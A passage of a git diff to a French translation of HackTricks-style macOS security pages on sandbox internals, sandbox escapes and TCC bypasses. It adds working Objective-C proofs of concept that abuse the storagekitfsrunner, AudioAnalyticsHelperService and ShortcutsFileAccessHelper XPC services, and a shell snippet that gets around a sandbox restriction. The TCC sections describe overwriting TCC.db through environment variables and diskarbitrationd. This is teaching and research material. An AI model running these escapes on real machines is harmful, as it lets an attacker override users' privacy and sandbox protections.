celui-ci.\ Notez que les jetons d'extension sont de longs hexadécimaux qui codent les permissions accordées. Cependant, ils n'ont pas le PID autorisé codé en dur, ce qui signifie que tout processus ayant accès au jeton pourrait être **consommé par plusieurs processus**. Notez que les extensions sont également très liées aux attributions, donc avoir certaines attributions pourrait automatiquement accorder certaines extensions. @@ -350,27 +352,27 @@ L'appel de fonction `___sandbox_ms` enveloppe `mac_syscall` en indiquant dans le Notez qu'en iOS, l'extension du noyau contient **tous les profils codés en dur** à l'intérieur du segment `__TEXT.__const` pour éviter qu'ils ne soient modifiés. Voici quelques fonctions intéressantes de l'extension du noyau : -- **`hook_policy_init`** : Elle accroche `mpo_policy_init` et est appelée après `mac_policy_register`. Elle effectue la plupart des initialisations du Sandbox. Elle initialise également SIP. -- **`hook_policy_initbsd`** : Elle configure l'interface sysctl en enregistrant `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` et `security.mac.sandbox.debug_mode` (si démarré avec `PE_i_can_has_debugger`). -- **`hook_policy_syscall`** : Elle est appelée par `mac_syscall` avec "Sandbox" comme premier argument et un code indiquant l'opération dans le deuxième. Un switch est utilisé pour trouver le code à exécuter selon le code demandé. +- **`hook_policy_init`** : Il accroche `mpo_policy_init` et est appelé après `mac_policy_register`. Il effectue la plupart des initialisations du Sandbox. Il initialise également SIP. +- **`hook_policy_initbsd`** : Il configure l'interface sysctl en enregistrant `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` et `security.mac.sandbox.debug_mode` (si démarré avec `PE_i_can_has_debugger`). +- **`hook_policy_syscall`** : Il est appelé par `mac_syscall` avec "Sandbox" comme premier argument et un code indiquant l'opération dans le deuxième. Un switch est utilisé pour trouver le code à exécuter selon le code demandé. ### MACF Hooks -**`Sandbox.kext`** utilise plus d'une centaine de hooks via MACF. La plupart des hooks vérifieront simplement certains cas triviaux qui permettent d'effectuer l'action, sinon, elles appelleront **`cred_sb_evalutate`** avec les **identifiants** de MACF et un nombre correspondant à l'**opération** à effectuer et un **buffer** pour la sortie. +**`Sandbox.kext`** utilise plus d'une centaine de hooks via MACF. La plupart des hooks vérifieront simplement certains cas triviaux qui permettent d'effectuer l'action, sinon, ils appelleront **`cred_sb_evalutate`** avec les **identifiants** de MACF et un nombre correspondant à l'**opération** à effectuer et un **buffer** pour la sortie. Un bon exemple de cela est la fonction **`_mpo_file_check_mmap`** qui accroche **`mmap`** et qui commencera à vérifier si la nouvelle mémoire va être modifiable (et si ce n'est pas le cas, autoriser l'exécution), puis elle vérifiera si elle est utilisée pour le cache partagé dyld et si c'est le cas, autoriser l'exécution, et enfin elle appellera **`sb_evaluate_internal`** (ou l'un de ses wrappers) pour effectuer d'autres vérifications d'autorisation. De plus, parmi les centaines de hooks utilisés par Sandbox, il y en a 3 en particulier qui sont très intéressants : -- `mpo_proc_check_for` : Elle applique le profil si nécessaire et si elle n'a pas été appliquée précédemment. -- `mpo_vnode_check_exec` : Appelée lorsqu'un processus charge le binaire associé, puis une vérification de profil est effectuée et également une vérification interdisant les exécutions SUID/SGID. +- `mpo_proc_check_for` : Il applique le profil si nécessaire et s'il n'a pas été appliqué précédemment. +- `mpo_vnode_check_exec` : Appelé lorsqu'un processus charge le binaire associé, puis une vérification de profil est effectuée ainsi qu'une vérification interdisant les exécutions SUID/SGID. - `mpo_cred_label_update_execve` : Cela est appelé lorsque l'étiquette est assignée. C'est le plus long car il est appelé lorsque le binaire est entièrement chargé mais qu'il n'a pas encore été exécuté. Il effectuera des actions telles que la création de l'objet sandbox, l'attachement de la structure sandbox aux identifiants kauth, la suppression de l'accès aux ports mach... Notez que **`_cred_sb_evalutate`** est un wrapper autour de **`sb_evaluate_internal`** et cette fonction obtient les identifiants passés et effectue ensuite l'évaluation en utilisant la fonction **`eval`** qui évalue généralement le **profil de plateforme** qui est par défaut appliqué à tous les processus et ensuite le **profil de processus spécifique**. Notez que le profil de plateforme est l'un des principaux composants de **SIP** dans macOS. ## Sandboxd -Sandbox dispose également d'un démon utilisateur exécutant le service XPC Mach `com.apple.sandboxd` et liant le port spécial 14 (`HOST_SEATBELT_PORT`) que l'extension du noyau utilise pour communiquer avec lui. Il expose certaines fonctions en utilisant MIG. +Sandbox dispose également d'un démon utilisateur en cours d'exécution exposant le service XPC Mach `com.apple.sandboxd` et liant le port spécial 14 (`HOST_SEATBELT_PORT`) que l'extension du noyau utilise pour communiquer avec lui. Il expose certaines fonctions en utilisant MIG. ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md index 968c13c90..c980baa1c 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md @@ -34,7 +34,7 @@ Dans les [**derniers exemples de contournement du sandbox Word**](macos-office-s macos-office-sandbox-bypasses.md {{#endref}} -### Agents/Daemons de lancement +### Agents/Démons de lancement Même si une application est **destinée à être sandboxée** (`com.apple.security.app-sandbox`), il est possible de contourner le sandbox si elle est **exécutée à partir d'un LaunchAgent** (`~/Library/LaunchAgents`) par exemple.\ Comme expliqué dans [**ce post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), si vous souhaitez obtenir une persistance avec une application qui est sandboxée, vous pourriez la faire exécuter automatiquement en tant que LaunchAgent et peut-être injecter du code malveillant via des variables d'environnement DyLib. @@ -43,7 +43,7 @@ Comme expliqué dans [**ce post**](https://www.vicarius.io/vsociety/posts/cve-20 Si un processus sandboxé peut **écrire** à un endroit où **plus tard une application non sandboxée va exécuter le binaire**, il pourra **s'échapper simplement en plaçant** le binaire là. Un bon exemple de ce type d'emplacements est `~/Library/LaunchAgents` ou `/System/Library/LaunchDaemons`. -Pour cela, vous pourriez même avoir besoin de **2 étapes** : Faire exécuter un processus avec un **sandbox plus permissif** (`file-read*`, `file-write*`) qui exécutera votre code et écrira effectivement à un endroit où il sera **exécuté sans sandbox**. +Pour cela, vous pourriez même avoir besoin de **2 étapes** : Faire exécuter votre code par un processus avec un **sandbox plus permissif** (`file-read*`, `file-write*`) qui écrira réellement à un endroit où il sera **exécuté sans sandbox**. Consultez cette page sur les **emplacements de démarrage automatique** : @@ -53,15 +53,159 @@ Consultez cette page sur les **emplacements de démarrage automatique** : ### Abuser d'autres processus -Si à partir du processus sandboxé, vous parvenez à **compromettre d'autres processus** s'exécutant dans des sandboxes moins restrictives (ou aucune), vous pourrez échapper à leurs sandboxes : +Si à partir du processus sandbox vous parvenez à **compromettre d'autres processus** s'exécutant dans des sandboxes moins restrictives (ou aucune), vous pourrez échapper à leurs sandboxes : {{#ref}} ../../../macos-proces-abuse/ {{#endref}} +### Services Mach système et utilisateur disponibles + +Le sandbox permet également de communiquer avec certains **services Mach** via XPC définis dans le profil `application.sb`. Si vous parvenez à **abuser** de l'un de ces services, vous pourriez être en mesure de **s'échapper du sandbox**. + +Comme indiqué dans [ce rapport](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), les informations sur les services Mach sont stockées dans `/System/Library/xpc/launchd.plist`. Il est possible de trouver tous les services Mach système et utilisateur en recherchant dans ce fichier `System` et `User`. + +De plus, il est possible de vérifier si un service Mach est disponible pour une application sandboxée en appelant `bootstrap_look_up`: +```objectivec +void checkService(const char *serviceName) { +mach_port_t service_port = MACH_PORT_NULL; +kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port); +if (!err) { +NSLog(@"available service:%s", serviceName); +mach_port_deallocate(mach_task_self_, service_port); +} +} + +void print_available_xpc(void) { +NSDictionary* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"]; +NSDictionary* launchDaemons = dict[@"LaunchDaemons"]; +for (NSString* key in launchDaemons) { +NSDictionary* job = launchDaemons[key]; +NSDictionary* machServices = job[@"MachServices"]; +for (NSString* serviceName in machServices) { +checkService(serviceName.UTF8String); +} +} +} +``` +### Services Mach PID disponibles + +Ces services Mach ont d'abord été abusés pour [s'échapper du sandbox dans cet article](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). À ce moment-là, **tous les services XPC requis** par une application et son framework étaient visibles dans le domaine PID de l'application (ce sont des services Mach avec `ServiceType` comme `Application`). + +Pour **contacter un service XPC de domaine PID**, il suffit de l'enregistrer à l'intérieur de l'application avec une ligne telle que : +```objectivec +[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load]; +``` +De plus, il est possible de trouver tous les services Mach **Application** en recherchant dans `System/Library/xpc/launchd.plist` pour `Application`. + +Une autre façon de trouver des services xpc valides est de vérifier ceux dans : +```bash +find /System/Library/Frameworks -name "*.xpc" +find /System/Library/PrivateFrameworks -name "*.xpc" +``` +Plusieurs exemples abusant de cette technique peuvent être trouvés dans le [**document original**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), cependant, voici quelques exemples résumés. + +#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc + +Ce service permet chaque connexion XPC en retournant toujours `YES` et la méthode `runTask:arguments:withReply:` exécute une commande arbitraire avec des paramètres arbitraires. + +L'exploit était "aussi simple que" : +```objectivec +@protocol SKRemoteTaskRunnerProtocol +-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply; +@end + +void exploit_storagekitfsrunner(void) { +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)]; +[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}]; +[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}]; +[conn resume]; + +[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) { +NSLog(@"run task result:%@, error:%@", bSucc, error); +}]; +} +``` +#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc + +Ce service XPC permettait à chaque client de toujours retourner OUI et la méthode `createZipAtPath:hourThreshold:withReply:` permettait essentiellement d'indiquer le chemin vers un dossier à compresser et il le compressera dans un fichier ZIP. + +Par conséquent, il est possible de générer une fausse structure de dossier d'application, de la compresser, puis de la décompresser et de l'exécuter pour échapper au sandbox car les nouveaux fichiers n'auront pas l'attribut de quarantaine. + +L'exploit était : +```objectivec +@protocol AudioAnalyticsHelperServiceProtocol +-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply; +-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply; +@end +void exploit_AudioAnalyticsHelperService(void) { +NSString *currentPath = NSTemporaryDirectory(); +chdir([currentPath UTF8String]); +NSLog(@"======== preparing payload at the current path:%@", currentPath); +system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json"); +[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0]; +system("chmod +x compressed/poc.app/Contents/MacOS/poc"); + +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)]; +[conn resume]; + +[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){ +NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath]; +NSString *file; +while ((file = [dirEnum nextObject])) { +if ([[file pathExtension] isEqualToString: @"zip"]) { +// open the zip +NSString *cmd = [@"open " stringByAppendingString:file]; +system([cmd UTF8String]); + +sleep(3); // wait for decompression and then open the payload (poc.app) +NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]]; +system([cmd2 UTF8String]); +break; +} +} +}]; +} +``` +#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc + +Ce service XPC permet de donner un accès en lecture et en écriture à une URL arbitraire au client XPC via la méthode `extendAccessToURL:completion:` qui accepte n'importe quelle connexion. Comme le service XPC a FDA, il est possible d'abuser de ces permissions pour contourner complètement TCC. + +L'exploit était : +```objectivec +@protocol WFFileAccessHelperProtocol +- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2; +@end +typedef int (*PFN)(const char *); +void expoit_ShortcutsFileAccessHelper(NSString *target) { +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)]; +[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1]; +[conn resume]; + +[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) { +NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding]; +NSURL *targetURL = [fpWrapper url]; + +void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2); +PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume"); +if (sandbox_extension_consume([sbxToken UTF8String]) == -1) +NSLog(@"Fail to consume the sandbox token:%@", sbxToken); +else { +NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken); +NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]); +} +}]; +} +``` ### Compilation statique et liaison dynamique -[**Cette recherche**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) a découvert 2 façons de contourner le Sandbox. Parce que le sandbox est appliqué depuis l'espace utilisateur lorsque la bibliothèque **libSystem** est chargée. Si un binaire pouvait éviter de la charger, il ne serait jamais sandboxé : +[**Cette recherche**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) a découvert 2 façons de contourner le Sandbox. Parce que le sandbox est appliqué depuis l'espace utilisateur lorsque la bibliothèque **libSystem** est chargée. Si un binaire pouvait éviter de la charger, il ne serait jamais soumis au sandbox : - Si le binaire était **complètement compilé statiquement**, il pourrait éviter de charger cette bibliothèque. - Si le **binaire n'avait pas besoin de charger de bibliothèques** (car le linker est également dans libSystem), il n'aurait pas besoin de charger libSystem. @@ -73,9 +217,26 @@ Notez que **même les shellcodes** en ARM64 doivent être liés dans `libSystem. ld -o shell shell.o -macosx_version_min 13.0 ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64 ``` -### Entitlements +### Restrictions non héritées -Notez que même si certaines **actions** peuvent être **autorisées par le sandbox** si une application a un **droit** spécifique, comme dans : +Comme expliqué dans le **[bonus de cet article](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**, une restriction de sandbox comme : +``` +(version 1) +(allow default) +(deny file-write* (literal "/private/tmp/sbx")) +``` +peut être contourné par un nouveau processus s'exécutant par exemple : +```bash +mkdir -p /tmp/poc.app/Contents/MacOS +echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc +chmod +x /tmp/poc.app/Contents/MacOS/poc +open /tmp/poc.app +``` +Cependant, bien sûr, ce nouveau processus n'héritera pas des droits ou des privilèges du processus parent. + +### Droits + +Notez que même si certaines **actions** pourraient être **autorisées par le sandbox** si une application a un **droit** spécifique, comme dans : ```scheme (when (entitlement "com.apple.security.network.client") (allow network-outbound (remote ip)) @@ -211,7 +372,7 @@ gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.pli codesign -s --entitlements entitlements.xml sand ``` > [!CAUTION] -> L'application essaiera de **lire** le fichier **`~/Desktop/del.txt`**, ce que le **Sandbox ne permettra pas**.\ +> L'application va essayer de **lire** le fichier **`~/Desktop/del.txt`**, ce que le **Sandbox ne permettra pas**.\ > Créez un fichier là-dedans car une fois le Sandbox contourné, il pourra le lire : > > ```bash @@ -295,7 +456,7 @@ Process 2517 resuming Sandbox Bypassed! Process 2517 exited with status = 0 (0x00000000) ``` -> [!WARNING] > **Même avec le Sandbox contourné, TCC** demandera à l'utilisateur s'il souhaite autoriser le processus à lire des fichiers du bureau +> [!WARNING] > **Même avec le contournement du Sandbox, TCC** demandera à l'utilisateur s'il souhaite autoriser le processus à lire des fichiers du bureau ## Références diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md index a3559820b..a4a45ef94 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md @@ -20,7 +20,7 @@ L'**attribut étendu `com.apple.macl`** est ajouté au nouveau **fichier** pour ### TCC ClickJacking -Il est possible de **mettre une fenêtre au-dessus de l'invite TCC** pour faire en sorte que l'utilisateur **l'accepte** sans s'en rendre compte. Vous pouvez trouver un PoC dans [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.** +Il est possible de **mettre une fenêtre sur l'invite TCC** pour faire en sorte que l'utilisateur **l'accepte** sans s'en rendre compte. Vous pouvez trouver un PoC dans [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**

https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg

@@ -62,7 +62,7 @@ L'attribution **`com.apple.private.icloud-account-access`** permet de communique **iMovie** et **Garageband** avaient cette attribution et d'autres qui le permettaient. -Pour plus **d'informations** sur l'exploit pour **obtenir des jetons iCloud** à partir de cette attribution, consultez la conférence : [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) +Pour plus **d'informations** sur l'exploit pour **obtenir des jetons iCloud** à partir de cette attribution, consultez la conférence : [**#OBTS v5.0 : "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) ### kTCCServiceAppleEvents / Automation @@ -98,7 +98,7 @@ osascript iterm.script ``` #### Sur Finder -Ou si une application a accès à Finder, cela pourrait être un script comme celui-ci : +Ou si une application a accès à Finder, elle pourrait utiliser un script comme celui-ci : ```applescript set a_user to do shell script "logname" tell application "Finder" @@ -112,7 +112,7 @@ do shell script "rm " & POSIX path of (copyFile as alias) ### CVE-2020–9934 - TCC -Le **daemon tccd** de l'espace utilisateur utilisait la variable **`HOME`** **env** pour accéder à la base de données des utilisateurs TCC depuis : **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** +Le **daemon tccd** de l'espace utilisateur utilise la variable d'environnement **`HOME`** pour accéder à la base de données des utilisateurs TCC depuis : **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** Selon [ce post Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) et parce que le daemon TCC s'exécute via `launchd` dans le domaine de l'utilisateur actuel, il est possible de **contrôler toutes les variables d'environnement** qui lui sont passées.\ Ainsi, un **attaquant pourrait définir la variable d'environnement `$HOME`** dans **`launchctl`** pour pointer vers un **répertoire contrôlé**, **redémarrer** le **daemon TCC**, puis **modifier directement la base de données TCC** pour se donner **tous les droits TCC disponibles** sans jamais demander à l'utilisateur final.\ @@ -145,7 +145,7 @@ $> ls ~/Documents ``` ### CVE-2021-30761 - Notes -Notes avait accès à des emplacements protégés par TCC, mais lorsqu'une note est créée, elle est **créée dans un emplacement non protégé**. Ainsi, vous pourriez demander à Notes de copier un fichier protégé dans une note (donc dans un emplacement non protégé) et ensuite accéder au fichier : +Notes avait accès aux emplacements protégés par TCC, mais lorsqu'une note est créée, elle est **créée dans un emplacement non protégé**. Ainsi, vous pourriez demander à Notes de copier un fichier protégé dans une note (donc dans un emplacement non protégé) et ensuite accéder au fichier :
@@ -167,7 +167,7 @@ Ce **`rename(a, b);`** comportement est vulnérable à une **Race Condition**, c ### SQLITE_SQLLOG_DIR - CVE-2023-32422 Si **`SQLITE_SQLLOG_DIR="path/folder"`** signifie essentiellement que **toute base de données ouverte est copiée à ce chemin**. Dans ce CVE, ce contrôle a été abusé pour **écrire** à l'intérieur d'une **base de données SQLite** qui va être **ouverte par un processus avec FDA la base de données TCC**, puis abuser de **`SQLITE_SQLLOG_DIR`** avec un **symlink dans le nom de fichier** afin que lorsque cette base de données est **ouverte**, l'utilisateur **TCC.db est écrasé** avec celle ouverte.\ -**Plus d'infos** [**dans le writeup**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **et**[ **dans la talk**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s). +**More info** [**in the writeup**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **and**[ **in the talk**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s). ### **SQLITE_AUTO_TRACE** @@ -180,7 +180,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1 ``` ### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407 -Cette **variable d'environnement est utilisée par le cadre `Metal`** qui est une dépendance à divers programmes, notamment `Music`, qui a FDA. +Cette **variable d'environnement est utilisée par le cadre `Metal`** qui est une dépendance pour divers programmes, notamment `Music`, qui a FDA. En définissant ce qui suit : `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Si `path` est un répertoire valide, le bug se déclenchera et nous pouvons utiliser `fs_usage` pour voir ce qui se passe dans le programme : @@ -204,7 +204,7 @@ C'était l'attaque dans le CVE : Par exemple, pour écraser le `TCC.db` de l'uti - définir `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db` - déclencher le bug en exécutant `Music` avec cette variable d'environnement - attraper le `open()` de `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X est aléatoire) -- ici nous `open()` également ce fichier pour écrire, et nous nous accrochons au descripteur de fichier +- ici nous `open()` également ce fichier pour écrire, et nous conservons le descripteur de fichier - échanger atomiquement `/Users/hacker/tmp` avec `/Users/hacker/ourlink` **dans une boucle** - nous faisons cela pour maximiser nos chances de succès car la fenêtre de course est assez mince, mais perdre la course a un inconvénient négligeable - attendre un peu @@ -240,7 +240,7 @@ Le **premier POC** utilise [**dsexport**](https://www.unix.com/man-page/osx/1/ds 2. Plantez un faux fichier _TCC.db_ avec l'accès requis et le blob _csreq_. 3. Exportez l'entrée des services d'annuaire de l'utilisateur avec [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/). 4. Modifiez l'entrée des services d'annuaire pour changer le répertoire personnel de l'utilisateur. -5. Importez l'entrée modifiée des services d'annuaire avec [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/). +5. Importez l'entrée des services d'annuaire modifiée avec [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/). 6. Arrêtez le _tccd_ de l'utilisateur et redémarrez le processus. Le deuxième POC a utilisé **`/usr/libexec/configd`** qui avait `com.apple.private.tcc.allow` avec la valeur `kTCCServiceSystemPolicySysAdminFiles`.\ @@ -336,7 +336,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox ``` -Pour plus d'informations sur la façon d'exploiter facilement cela [**consultez le rapport original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/). +Pour plus d'informations sur la façon d'exploiter facilement cela, [**consultez le rapport original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/). ### CVE-2020-10006 @@ -344,7 +344,7 @@ Le binaire `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` avait les ### CVE-2023-26818 - Telegram -Telegram avait les autorisations **`com.apple.security.cs.allow-dyld-environment-variables`** et **`com.apple.security.cs.disable-library-validation`**, il était donc possible d'en abuser pour **accéder à ses permissions** comme l'enregistrement avec la caméra. Vous pouvez [**trouver le payload dans le writeup**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). +Telegram avait les autorisations **`com.apple.security.cs.allow-dyld-environment-variables`** et **`com.apple.security.cs.disable-library-validation`**, il était donc possible d'en abuser pour **accéder à ses permissions**, comme l'enregistrement avec la caméra. Vous pouvez [**trouver le payload dans le writeup**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). Notez comment utiliser la variable d'environnement pour charger une bibliothèque, un **plist personnalisé** a été créé pour injecter cette bibliothèque et **`launchctl`** a été utilisé pour la lancer : ```xml @@ -402,7 +402,7 @@ Les scripts **`.terminal`** sont des fichiers plist comme celui-ci avec la comma ``` -Une application pourrait écrire un script de terminal dans un emplacement tel que /tmp et le lancer avec une commande telle que : +Une application pourrait écrire un script terminal dans un emplacement tel que /tmp et le lancer avec une commande telle que : ```objectivec // Write plist in /tmp/tcc.terminal [...] @@ -465,6 +465,14 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null") ``` Vérifiez l'**exploitation complète** dans le [**rapport original**](https://theevilbit.github.io/posts/cve-2021-30808/). +### CVE-2024-40855 + +Comme expliqué dans le [rapport original](https://www.kandji.io/blog/macos-audit-story-part2), ce CVE a abusé de `diskarbitrationd`. + +La fonction `DADiskMountWithArgumentsCommon` du framework public `DiskArbitration` effectuait les vérifications de sécurité. Cependant, il est possible de contourner cela en appelant directement `diskarbitrationd` et donc d'utiliser des éléments `../` dans le chemin et des liens symboliques. + +Cela a permis à un attaquant de faire des montages arbitraires à n'importe quel endroit, y compris sur la base de données TCC en raison de l'attribution `com.apple.private.security.storage-exempt.heritable` de `diskarbitrationd`. + ### asr L'outil **`/usr/sbin/asr`** permettait de copier l'ensemble du disque et de le monter à un autre endroit en contournant les protections TCC. @@ -472,7 +480,7 @@ L'outil **`/usr/sbin/asr`** permettait de copier l'ensemble du disque et de le m ### Services de localisation Il existe une troisième base de données TCC dans **`/var/db/locationd/clients.plist`** pour indiquer les clients autorisés à **accéder aux services de localisation**.\ -Le dossier **`/var/db/locationd/` n'était pas protégé contre le montage DMG**, il était donc possible de monter notre propre plist. +Le dossier **`/var/db/locationd/` n'était pas protégé contre le montage DMG** donc il était possible de monter notre propre plist. ## Par les applications de démarrage diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index a18c0782c..e3e7f0342 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -1,35 +1,33 @@ -# macOS Users & External Accounts +# Utilisateurs macOS & Comptes Externes {{#include ../../banners/hacktricks-training.md}} -## Common Users +## Utilisateurs Communs -- **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_": +- **Daemon**: Utilisateur réservé aux démons système. Les noms de compte de démon par défaut commencent généralement par un "\_": - ```bash - _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs - ``` - -- **Guest**: Account for guests with very strict permissions +```bash +_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, 